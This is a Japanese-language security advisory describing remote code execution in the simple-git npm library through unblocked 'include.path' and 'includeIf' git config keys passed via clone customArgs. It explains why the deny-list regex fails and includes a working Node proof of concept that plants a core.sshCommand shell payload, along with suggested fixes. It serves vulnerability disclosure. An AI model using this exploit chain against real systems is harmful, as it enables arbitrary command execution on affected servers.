simple-gitでは、ブロックされていないGitの設定ファイルを通じてコマンドを実行できる脆弱性があります。
## 概要
`git.clone()`におけるOSコマンドインジェクションの脆弱性により、攻撃者が操作したデータが`customArgs`に渡されるアプリケーションは、任意のコードを実行できてしまいます。simple-git 3.36.0(npmで現在最新版)は、`blockUnsafeOperationsPlugin`の拒否リストに`include.path`のエントリが一切含まれていません。`-c include.path=<ファイル>`をcustomArgs経由で指定すると、任意のローカルファイルをgitconfigとして読み込むことができます。読み込まれたファイルは、`core.sshCommand`(またはその他の拒否されたキー)を設定でき、その後のリモート操作で攻撃者のコマンドが実行されます。
PR #1167(2026年5月10日にmainブランチにマージされ、まだnpmでリリースされていません)では、`preventConfigBuilder('include.path', 'allowUnsafeInclude')`が拒否リストに追加されています。生成された正規表現`/\s*include.path/`は、単純な記述をブロックしますが、条件付きの形式`includeIf.<条件>.path`には一致しません。したがって、この脆弱性は、正規表現が修正されない限り、今後のリリースでも残存する可能性があります。
この脆弱性は、以前の未完の修正チェーン(CVE-2022-24433、CVE-2022-24066、CVE-2022-25912、CVE-2022-25860、CVE-2026-28291、CVE-2026-28292)と同じ種類の脆弱性です。`include`と`includeIf`は、公開されているどのセキュリティアドバイザリ、PR #1167以前のどのコミット、または3.36.0のソースコードのどこにも言及されていません。
## 詳細
この脆弱性の根本原因は、2つの箇所で共通しており、それは拒否リストが不完全であることです。
### 脆弱性A:公開されている3.36.0には`include.path`のエントリがない
v3.36.0のタグに含まれる`packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts`には、`include.path`または`includeIf.*.path`のエントリがありません。argvパーサーは、`-c include.path=<ファイル>`および`-c includeIf.<条件>.path=<ファイル>`を構成の書き込みとして認識しますが、`detectVulnerableConfigWrites`は、これらのキーを含まない拒否リストを反復処理します。プラグインは脆弱性がないと報告し、操作は続行されます。
### 脆弱性B:未マージのPR #1167の正規表現が`includeIf`を対象としていない
PR #1167では、以下のコードが追加されています。
```ts
const preventUnsafeConfig = [
// ...
preventConfigBuilder('include.path', 'allowUnsafeInclude'),
// ...
];
```
`preventConfigBuilder`関数は、文字列からアンカーのない正規表現を生成します。
```ts
function preventConfigBuilder(config, category, message) {
const regex = typeof config === 'string'
? new RegExp(`\\s*${config.toLowerCase()}`)
: config;
return function preventCommand(key) {
if (regex.test(key)) { /* エラーを発生させる */ }
};
}
```
`'include.path'`の場合、生成される正規表現は`/\s*include.path/`です。`include`と`path`の間の`.`は、正規表現におけるワイルドカード文字です。エンジンは、`include`に続いて正確に1つの任意の文字が続き、その後に`path`が続くパターンに一致します。条件付きのincludeキーは、`includeIf.<条件>.path`の形式を取ります(例:`includeIf.gitdir:.path`、`includeIf.onbranch:main.path`、`includeIf.hasconfig:r.u:**.path`など)。`include`と`path`の間の部分文字列は`if.<条件>:`であり、常に1文字よりも長くなります。11文字の照合範囲では一致せず、テストは`false`を返します。
```js
/\s*include.path/.test('include.path') // true
/\s*include.path/.test('includeif.gitdir:.path') // false
/\s*include.path/.test('includeif.onbranch:main.path') // false
```
`packages/argv-parser/src/argv/analyse-config.ts`にあるargvパーサーは、`include.path=...`と`includeIf.gitdir:.path=...`の両方を設定として正しく認識します。どちらも、小文字に変換されたキーを持つ`ConfigWrite`オブジェクトを生成します。問題は、除外リストの正規表現(PR #1167以降)と、エントリが存在しない場合(PR #1167以前)に発生します。
### 攻撃の連鎖
1. 攻撃者は、simple-gitプロセスが読み取れる任意のパスにgitconfigファイルを書き込みます。現実的な書き込み方法としては、ファイルアップロード(アバター、添付ファイル、CIアーティファクト、S3マウントバケット)、マルチテナント環境の共有`/tmp`ディレクトリ、ログに`[core]`ヘッダーを書き込むログ汚染、予測可能なアーティファクトパス、攻撃者が制御するコンテナボリュームマウントなどが考えられます。
```
[core]
sshCommand = "/bin/sh -c 'id > /tmp/pwned; touch /tmp/RCE'"
```
2. 攻撃者は、細工された `customArgs` を使用して `git.clone()` を実行します。URL または `customArgs` は、攻撃者が操作した入力から派生します。これは `blockUnsafeOperationsPlugin` のドキュメントに記載されている脅威モデルです。
3. `cloneTask` は、`['clone', '-c', '<payload>', pathspec(url), pathspec(dst)]` を構築します。
4. `blockUnsafeOperationsPlugin` は `parseArgv` と `collectWriteFlags` を実行し、書き込み操作を検出します。`detectVulnerableConfigWrites` は、禁止リストを反復処理します。3.36.0 では、禁止リストにエントリはありません。PR #1167 以降、禁止リストにエントリがありますが、その正規表現は `includeif.gitdir:.path` に一致しません。いずれの場合も、脆弱性は検出されず、プラグインは操作を許可します。
5. `suffixPathsPlugin` は、pathspec の項目をサフィックスに移動します。最終的な argv: `git clone -c <payload> -- ssh://target.example/repo.git /tmp/dst`.
6. `git clone` には、独自の `-c` / `--config` オプションがあります (`git clone --help` によると、`-c <key>=<value>, --config <key>=<value>` です)。したがって、サブコマンドの直後の `-c` は、`clone` 自体によって処理されます。Git は `include` (条件付き形式では、現在の gitdir に一致する空の `gitdir:` パターンを使用) を評価し、`/tmp/attacker.cfg` を読み込み、`core.sshCommand` を登録します。
7. Git は、設定されたコマンドを通じて ssh を呼び出します。攻撃者のシェルペイロードは、simple-git プロセスのコンテキストで実行されます。
`git clone` は、`-c` を自分自身に続けて使用する唯一の git サブコマンドです。`git fetch -c k=v`、`git pull -c k=v`、`git push -c k=v` は、この配置を拒否します (これらのサブコマンドは、`-c` をそれらが置かれるべき場所であるグローバルオプションとして扱います)。simple-git は常にサブコマンドを argv[0] に配置するため、ユーザーが制御する `-c` が `customArgs` に含まれている場合、常にサブコマンドの後に配置されます。Clone は、両方の攻撃経路のエントリーポイントです。
### 2次的な攻撃経路: `HOME` と `XDG_CONFIG_HOME` が `parseEnv` の禁止リストに含まれていない。
```
`packages/argv-parser/src/env/parse-env.ts:5-25` には、`git.env(...)` から環境変数に読み込まれた際に、派生プロセスから削除される環境変数のキーがリストされています。`HOME`、`XDG_CONFIG_HOME`、および同様の構成解決キーは存在しません。`git.env({HOME: '/tmp/fake-home'})` を呼び出すと、git は `/tmp/fake-home/.gitconfig` を読み込みますが、これは攻撃者が制御できます。同じ脆弱性の根本原因であり、表面的な問題です。同じ修正で対応する必要があります。
## 脆弱性の検証
クリーンな環境での再現手順:
```bash
mkdir /tmp/sg-poc && cd /tmp/sg-poc
npm init -y
npm install simple-git@3.36.0
cat > poc.js <<'EOF'
const { simpleGit } = require('simple-git');
const fs = require('fs');
fs.writeFileSync('/tmp/sg-attacker.cfg',
`[core]\nsshCommand = "/bin/sh -c 'id > /tmp/sg-id; touch /tmp/sg-pwned'"\n`);
const git = simpleGit({ baseDir: '/tmp' });
(async () => {
// Sink A: plain include.path は、公開されている 3.36.0 で動作します(ブラックリストに登録されていません)。
// 'includeIf.gitdir:.path=...' に変更して、PR #1167 に対する Sink B を検証します。
const payload = 'include.path=/tmp/sg-attacker.cfg';
try {
await git.clone(
'ssh://nonexistent.example.com/repo.git',
'/tmp/sg-rce-dst',
['-c', payload]
);
} catch (_) { /* sshCommand が実行された後にクローンが失敗します */ }
await new Promise(r => setTimeout(r, 500));
console.log(fs.readFileSync('/tmp/sg-id', 'utf8'));
})();
EOF
node poc.js
```
simple-git 3.36.0 での出力:
```
uid=0(root) gid=0(root) groups=0(root)
```
ペイロードを `'includeIf.gitdir:.path=/tmp/sg-attacker.cfg'` に変更すると、3.36.0 でも同じリモートコード実行が可能になり、これは PR #1167 での修正を回避できる可能性があります。
## 影響
攻撃者が制御するデータが、`clone()` または `mirror()` の `customArgs` に渡されるサーバーであれば、認証前のリモートコード実行が可能です。simple-git は、npm で約 940 万ダウンロード/週という利用状況です。影響を受ける利用パターン:
- CI/CDシステム、カスタムGitHub Actions/Buildkiteプラグイン/GitLabキャッシュヘルパー
- 顧客が設定可能なGitオプションを受け入れるPaaSおよびホスティングプラットフォーム
- ユーザーが提供するリポジトリをクローンするコード分析ツールおよびセキュリティスキャナ
- simple-gitをラップするボットフレームワーク(Probot、GitOpsコントローラー)
- 分析のためにリポジトリを自動的にクローンするAIエージェントフレームワーク
- オプションを透過的に受け渡すVS Code拡張機能、Electronツール、および開発ツール
この脆弱性は、カスタム引数に加えて、攻撃者が書き込み可能でプロセスが読み取り可能な1バイトのストレージ領域を必要とします。 ファイル書き込み機能がクローントリガーと共存する環境(シングルリクエストのファイルアップロード+クローン、共有の`/tmp`ディレクトリを持つマルチテナントCIランナー、タスクごとに一時ファイルを書き込むエージェントフレームワーク)では、これは認証されていない事前認証によるリモートコード実行(RCE)であり、深刻度は`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical`と評価されます。 フォームの値は、別々のリクエストの場合を考慮した、より保守的な`AC:H = 8.1`を基準としています。
## 以前の注意喚起および修正状況との違い
`steveukx/git-js/security/advisories`に公開されているGHSAリストを確認しました。 以下の2つの注意喚起が公開されています。
- GHSA-jcxm-m3jx-f287 (CVE-2026-28291, High): 3.32.0でリファクタリングされた、汎用的なオプション解析クラスに関連する問題。
- GHSA-r275-fr43-pm7q (CVE-2026-28292, Critical): 大文字小文字を区別しない`protocol.allow`フォームに関連する問題。
いずれも`include`、`includeIf`、または条件付きインクルードについては言及されていません。 これらの用語は、リポジトリ内のソースファイル、テスト、またはコミットのどのバージョンにも存在しません。 PR #1167(2026年5月10日にmainブランチにマージ)は、リポジトリ全体で最初に`include.path`を参照するコミットです。 これは単純なフォームの問題を解決しますが、条件付きの`includeIf.<cond>.path`のスペルを正しく認識していません。
公開されている3.36.0の脆弱性(Sink A)は、どのリリースバージョンでも修正されていません。 待機中のPR #1167(Sink B)は、単純なキーの問題を解決しますが、条件付きのバリアントは未解決のままです。 これら両方は、一つのリリースで修正されるべきです。
## 推奨される修正
`packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts` に、単純な `include.path` エントリを追加し、条件付きの形式もカバーするようにします。
```ts
preventConfigBuilder('include.path', 'allowUnsafeInclude'),
preventConfigBuilder(/^\s*includeif[^.]*(\..+)*\.path/i, 'allowUnsafeInclude', 'include.path'),
```
あるいは、`parseAssignment` でキーを事前に処理し、`include.path` と比較する前に `if.<condition>:` の装飾を削除することもできます。これは、セキュリティの観点から `includeIf` が `include` と意味的に同等であるためです。
より根本的で長期的な解決策は、モデルを逆転させることです。`customArgs` 内の `-c`, `--config`, `--config-env` を無条件で拒否し、呼び出し元が型付きの `config:` オプションを使用するように必須とします(すでに同じプラグインによってプレフィックスがチェックされています)。Git の設定ネームスペースはオープンエンドであり、新しい危険なキーが Git のリリースごとに追加されます。許可リストを作成しても、常に新しいエントリが必要になります。
また、`parseEnv` を拡張して、`HOME`, `XDG_CONFIG_HOME`、および設定ファイルの解決に影響を与える可能性のある環境変数を削除します。
影響を受けるパッケージ:
- npm (JavaScript) simple-git: 影響を受けるバージョンは 3.36.0 以下、4.0.0 で修正済み。